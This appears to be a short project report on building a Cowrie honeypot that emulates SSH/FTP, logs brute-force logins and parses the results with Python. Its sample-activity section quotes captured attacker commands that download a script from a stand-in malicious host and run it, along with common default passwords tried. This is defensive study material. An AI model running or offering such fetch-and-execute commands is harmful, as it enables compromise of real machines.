**HONEYPOT SERVER TO DETECT ATTACK PATTERNS**

**Introduction**

In today’s digital era, cyberattacks such as brute force, credential guessing, and malware installation attempts are common against exposed systems. To understand attacker behavior and strengthen defenses, organizations deploy honeypots, which are decoy systems designed to lure attackers. This project focuses on setting up a honeypot server that captures malicious login attempts, records attacker activity, and provides insights into attack strategies.

**Abstract**

The objective of this project is to design a honeypot environment that simulates vulnerable services like SSH/FTP to attract attackers. Using the Cowrie honeypot framework, the system captures detailed logs of brute-force login attempts and attacker commands. Additionally, custom Python scripts are used to parse logs, extract important details such as source IPs and attempted credentials, and visualize patterns in attacker behavior. By emulating vulnerable services in a safe environment, this honeypot provides valuable intelligence on cyber threats and helps improve defensive measures.

**Tools Used**

Cowrie – A medium-interaction honeypot that emulates SSH/FTP services and records attacker interactions.

Custom Python Scripts – Developed to parse Cowrie logs, filter useful data, and automate reporting.

SSH/FTP Emulation – Simulated login services to attract attackers attempting brute-force or unauthorized access.

**Steps Involved in Building the Project**

Setup Environment – A Linux virtual machine was prepared to safely deploy the honeypot.

Installation of Cowrie – Cowrie was configured to emulate SSH/FTP services and log all incoming activity.

Capturing Attacker Activity – The honeypot recorded login attempts, IP addresses, and commands entered by intruders.

Custom Python Script Development – Scripts were written to parse Cowrie log files, extract failed login attempts, and summarize frequently used passwords.

Visualization of Results – The extracted data was processed to identify patterns, such as repeated attack attempts from the same IPs or common brute-force passwords.

Conclusion

The honeypot server successfully attracted and recorded multiple brute-force login attempts and suspicious commands. Cowrie provided detailed logs of attacker interactions, while custom Python scripts automated the extraction and analysis of key information. The SSH/FTP emulation effectively deceived attackers into revealing their methods. This project demonstrates that honeypots are a powerful tool for studying attacker behavior and strengthening overall cybersecurity defenses.

Sample Activity

1. Cowrie Log – Failed SSH Login Attempts

2025-09-07 14:22:11+0000 login attempt [root/12345] failed

2025-09-07 14:22:15+0000 login attempt [admin/admin] failed

2025-09-07 14:22:22+0000 login attempt [root/password] failed

2. Cowrie Captured Commands

wget http://malicious-domain.com/bot.sh

chmod +x bot.sh

./bot.sh

3. Python Script Parsing Results

Top Attacker IPs:

- 45.33.12.34 (15 attempts)

- 185.220.101.5 (9 attempts)

Most Common Passwords Tried:

- admin

- 12345

- password